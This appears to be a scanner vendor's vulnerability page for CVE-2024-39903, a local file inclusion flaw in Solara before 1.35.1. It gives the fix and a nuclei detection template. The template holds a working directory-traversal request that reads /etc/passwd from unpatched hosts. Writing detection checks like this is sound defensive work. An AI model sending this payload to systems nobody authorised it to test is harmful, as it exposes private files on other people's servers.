Solara <1.35.1 - Local File Inclusion

highseverity

8.6CVSS score

2.9%likelihood of exploitation, next 30 days

87%of all CVEs are less likely

Readycheck to confirm it

A Local File Inclusion (LFI) vulnerability was identified in widgetti/solara, in version <1.35.1, which was fixed in version 1.35.1. This vulnerability arises from the application's failure to properly validate URI fragments for directory traversal sequences such as '../' when serving static files. An attacker can exploit this flaw by manipulating the fragment part of the URI to read arbitrary files on the local file system.

Impact

Unauthenticated attackers can exploit LFI to read arbitrary files from the local filesystem.

Fix

Update Solara to version 1.35.1 or later.

How to confirm it

Send: GET /static/nbextensions/#/../../../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND matches in content_type /text/plain/ AND status 200

Run it with nuclei: nuclei -id CVE-2024-39903 -u <target>

The full check

id: CVE-2024-39903

info:
  name: Solara <1.35.1 - Local File Inclusion
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    A Local File Inclusion (LFI) vulnerability was identified in widgetti/solara, in version <1.35.1, which was fixed in version 1.35.1. This vulnerability arises from the application's failure to properly validate URI fragments for directory traversal sequences such as '../' when serving static files. An attacker can exploit this flaw by manipulating the fragment part of the URI to read arbitrary files on the local file system.
  impact: |
    Unauthenticated attackers can exploit LFI to read arbitrary files from the local filesystem.
  remediation: |
    Update Solara to version 1.35.1 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-39903
    - https://github.com/widgetti/solara/commit/df2fd66a7f4e8ffd36e8678697a8a4f76760dc54
    - https://github.com/widgetti/solara/security/advisories/GHSA-9794-pc4r-438w
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
    cvss-score: 8.6
    cve-id: CVE-2024-39903
    cwe-id: CWE-22
    epss-score: 0.02884
    epss-percentile: 0.86981
  metadata:
    fofa-query: icon_hash="-223126228"
    verified: true
    max-request: 1
  tags: cve,cve2024,solara,lfi,vuln

http:
  - raw:
      - |+
        GET /static/nbextensions/#/../../../../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    unsafe: true
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: regex
        part: content_type
        regex:
          - "text/plain"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from